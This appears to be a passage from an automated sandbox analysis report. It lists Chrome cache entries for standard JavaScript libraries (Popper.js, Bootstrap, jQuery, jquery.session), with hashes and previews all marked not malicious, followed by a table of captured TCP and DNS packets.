Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Reputation:	low
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:H840hRn:uR
MD5:	7970C64CC19EC69C6A10D0279108B4DD
SHA1:	056A018DD8089F2DB723BEB07A7F7E79FE223AB7
SHA-256:	C1009BB93FC927F2D51C40EE3873F40CD57EB271D0C701ED807A24920C076AB3
SHA-512:	A21BAB30BB7039F7791D4CCA324D1402B2C99E33FCF467F42DB9994195C18C2E66F08A26EF15110C7AFFE91E770E3EF2052FE32C7B03CB04B4226AE9D970EF2B
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIZCSiLYDqUz7WkEgUNJx43kCFWvnzq2Z1qfg==?alt=proto
Preview:	CgkKBw0nHjeQGgA=

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1991)
Category:	downloaded
Size (bytes):	2328
Entropy (8bit):	5.288966012768303
Encrypted:	false
SSDEEP:	48:uLswAvdOnljQDnQDI8oK0oKN+txunwLKu61hUd1FnifsnU9Jla6N9QQdxM6O:Esm2QDDJtxZG/C6ECxVO
MD5:	A30F101A180426E08A6B68B5705810F9
SHA1:	4BFA1D6A701F2DC8F34BFBB5237C978A799171C0
SHA-256:	35E38C13207686FF7836FB1A81E55BEFFC957037981CA72E663973BA300616AF
SHA-512:	9941D09DA1679835321D916EC0976FB06B7FD6ECB5CA08A3199918F63EFA266BA5668F4A8B75C5016E952EA3FA80568167508FA2C9734F3C1A50EC94FD212A57
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/npm/jquery.session@1.0.0/jquery.session.min.js
Preview:	/*. Minified by jsDelivr using Terser v5.19.2.. * Original file: /npm/jquery.session@1.0.0/jquery.session.js. . Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files. */.!function(e){e.session={_id:null,_cookieCache:void 0,_init:function(){window.name\|\|(window.name=Math.random()),this._id=window.name,this._initCache();var e=new RegExp(this._generatePrefix()+"=([^;]+);").exec(document.cookie);if(e&&document.location.protocol!==e[1])for(var t in this._clearSession(),this._cookieCache)try{window.sessionStorage.setItem(t,this._cookieCache[t])}catch(e){}document.cookie=this._generatePrefix()+"="+document.location.protocol+";path=/;expires="+new Date((new Date).getTime()+12e4).toUTCString()},_generatePrefix:function(){return"__session:"+this._id+":"},_initCache:function(){var e=document.cookie.split(";");for(var t in this._cookieCache={},e){var i=e[t].split("=");new RegExp(this._generatePrefix()+".+").test(i[0])&&i[1]&&

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Reputation:	low
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Static File Info

⊘No static file info

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 14, 2025 09:50:57.513207912 CET	49672	443	192.168.2.5	204.79.197.203
Mar 14, 2025 09:51:02.325608969 CET	49672	443	192.168.2.5	204.79.197.203
Mar 14, 2025 09:51:04.203821898 CET	49676	443	192.168.2.5	20.189.173.14
Mar 14, 2025 09:51:04.513098001 CET	49676	443	192.168.2.5	20.189.173.14
Mar 14, 2025 09:51:05.122474909 CET	49676	443	192.168.2.5	20.189.173.14
Mar 14, 2025 09:51:06.388097048 CET	49676	443	192.168.2.5	20.189.173.14
Mar 14, 2025 09:51:08.797595024 CET	49676	443	192.168.2.5	20.189.173.14
Mar 14, 2025 09:51:10.961877108 CET	49719	443	192.168.2.5	142.250.185.228
Mar 14, 2025 09:51:10.961920023 CET	443	49719	142.250.185.228	192.168.2.5
Mar 14, 2025 09:51:10.961987972 CET	49719	443	192.168.2.5	142.250.185.228
Mar 14, 2025 09:51:10.962126970 CET	49719	443	192.168.2.5	142.250.185.228
Mar 14, 2025 09:51:10.962142944 CET	443	49719	142.250.185.228	192.168.2.5
Mar 14, 2025 09:51:11.595490932 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:11.595547915 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:11.595915079 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:11.595920086 CET	49721	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:11.595956087 CET	443	49721	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:11.596077919 CET	49721	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:11.596271992 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:11.596271992 CET	49721	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:11.596287966 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:11.596296072 CET	443	49721	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:11.604993105 CET	443	49719	142.250.185.228	192.168.2.5
Mar 14, 2025 09:51:11.605163097 CET	49719	443	192.168.2.5	142.250.185.228
Mar 14, 2025 09:51:11.606435061 CET	49719	443	192.168.2.5	142.250.185.228
Mar 14, 2025 09:51:11.606445074 CET	443	49719	142.250.185.228	192.168.2.5
Mar 14, 2025 09:51:11.606690884 CET	443	49719	142.250.185.228	192.168.2.5
Mar 14, 2025 09:51:11.657988071 CET	49719	443	192.168.2.5	142.250.185.228
Mar 14, 2025 09:51:11.936012983 CET	49672	443	192.168.2.5	204.79.197.203
Mar 14, 2025 09:51:12.066632032 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.066850901 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.067897081 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.067907095 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.068214893 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.068516970 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.078466892 CET	443	49721	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.078541040 CET	49721	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.078988075 CET	49721	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.079000950 CET	443	49721	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.079250097 CET	443	49721	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.116328001 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.127214909 CET	49721	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.211188078 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.211250067 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.211282969 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.211316109 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.211339951 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.211368084 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.211390972 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.211422920 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.211452007 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.211499929 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.211505890 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.211549997 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.211564064 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.212089062 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.212117910 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.212141037 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.212146044 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.212192059 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.215743065 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.261183023 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.299308062 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.299392939 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.299429893 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.299494028 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.299513102 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.299575090 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.299770117 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.299844980 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.299876928 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.299896955 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.299902916 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.299973011 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.300497055 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.300561905 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.300597906 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.300653934 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.300658941 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.300664902 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.300697088 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.301400900 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.301450968 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.301466942 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.301472902 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.301512003 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.301520109 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.301525116 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.301577091 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.302269936 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.302329063 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.302362919 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.302403927 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.302412033 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.302453995 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.341604948 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.388082981 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.388127089 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.388161898 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.388161898 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.388185978 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.388207912 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.388227940 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.388288021 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.388294935 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.388643026 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.388695955 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.388701916 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.388772011 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.389133930 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.389172077 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.389209032 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.389213085 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.389226913 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.389640093 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.389667988 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.389694929 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.389700890 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.389735937 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.390440941 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.390491009 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.390496016 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.390547037 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.390770912 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.411942959 CET	49720	443	192.168.2.5	172.66.46.238
Mar 14, 2025 09:51:12.411963940 CET	443	49720	172.66.46.238	192.168.2.5
Mar 14, 2025 09:51:12.436805964 CET	49725	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.441498041 CET	53	49725	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.441576958 CET	49725	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.444037914 CET	49725	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.444331884 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:12.444385052 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:12.444483995 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:12.445537090 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:12.445566893 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:12.448417902 CET	49727	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.448705912 CET	53	49725	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.448808908 CET	49725	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.453151941 CET	53	49727	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.453212976 CET	49727	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.453313112 CET	49727	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.453325987 CET	49727	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.456826925 CET	49727	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.457969904 CET	53	49727	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.457979918 CET	53	49727	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.467601061 CET	49728	443	192.168.2.5	104.17.24.14
Mar 14, 2025 09:51:12.467633009 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:12.467722893 CET	49728	443	192.168.2.5	104.17.24.14
Mar 14, 2025 09:51:12.472198009 CET	49728	443	192.168.2.5	104.17.24.14
Mar 14, 2025 09:51:12.472230911 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:12.476274014 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:12.476320982 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:12.477020025 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:12.477818966 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:12.477833033 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:12.505002022 CET	53	49727	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.817662954 CET	53	49727	1.1.1.1	192.168.2.5
Mar 14, 2025 09:51:12.817730904 CET	49727	53	192.168.2.5	1.1.1.1
Mar 14, 2025 09:51:12.929594994 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:12.929737091 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:12.930797100 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:12.930809021 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:12.931200027 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:12.931735039 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:12.949037075 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:12.949151039 CET	49728	443	192.168.2.5	104.17.24.14
Mar 14, 2025 09:51:12.949816942 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:12.950120926 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:12.957293034 CET	49728	443	192.168.2.5	104.17.24.14
Mar 14, 2025 09:51:12.957319975 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:12.957573891 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:12.957827091 CET	49728	443	192.168.2.5	104.17.24.14
Mar 14, 2025 09:51:12.958431959 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:12.958447933 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:12.958682060 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:12.958940983 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:12.976324081 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.004322052 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.004331112 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:13.030360937 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.031009912 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.031070948 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:13.031085968 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.031259060 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.031303883 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:13.031316042 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.051600933 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.051640034 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.051673889 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:13.051690102 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.051727057 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.051734924 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:13.051747084 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.051776886 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.051858902 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:13.051867962 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.051937103 CET	49726	443	192.168.2.5	151.101.130.137
Mar 14, 2025 09:51:13.051944971 CET	443	49726	151.101.130.137	192.168.2.5
Mar 14, 2025 09:51:13.073054075 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:13.073103905 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:13.073132992 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:13.073163033 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:13.073174953 CET	49728	443	192.168.2.5	104.17.24.14
Mar 14, 2025 09:51:13.073195934 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:13.073216915 CET	49728	443	192.168.2.5	104.17.24.14
Mar 14, 2025 09:51:13.073234081 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:13.073273897 CET	49728	443	192.168.2.5	104.17.24.14
Mar 14, 2025 09:51:13.073281050 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:13.073326111 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:13.073398113 CET	49728	443	192.168.2.5	104.17.24.14
Mar 14, 2025 09:51:13.073405027 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:13.073661089 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:13.073709011 CET	49728	443	192.168.2.5	104.17.24.14
Mar 14, 2025 09:51:13.073715925 CET	443	49728	104.17.24.14	192.168.2.5
Mar 14, 2025 09:51:13.090842962 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.090898037 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.090918064 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.090946913 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.090950012 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.090960979 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.091000080 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.091002941 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.091052055 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.091073990 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.091090918 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.091171026 CET	49729	443	192.168.2.5	104.18.10.207
Mar 14, 2025 09:51:13.091289043 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.095376015 CET	443	49729	104.18.10.207	192.168.2.5
Mar 14, 2025 09:51:13.095407963 CET	443	49729	104.18.10.207	192.168.2.5
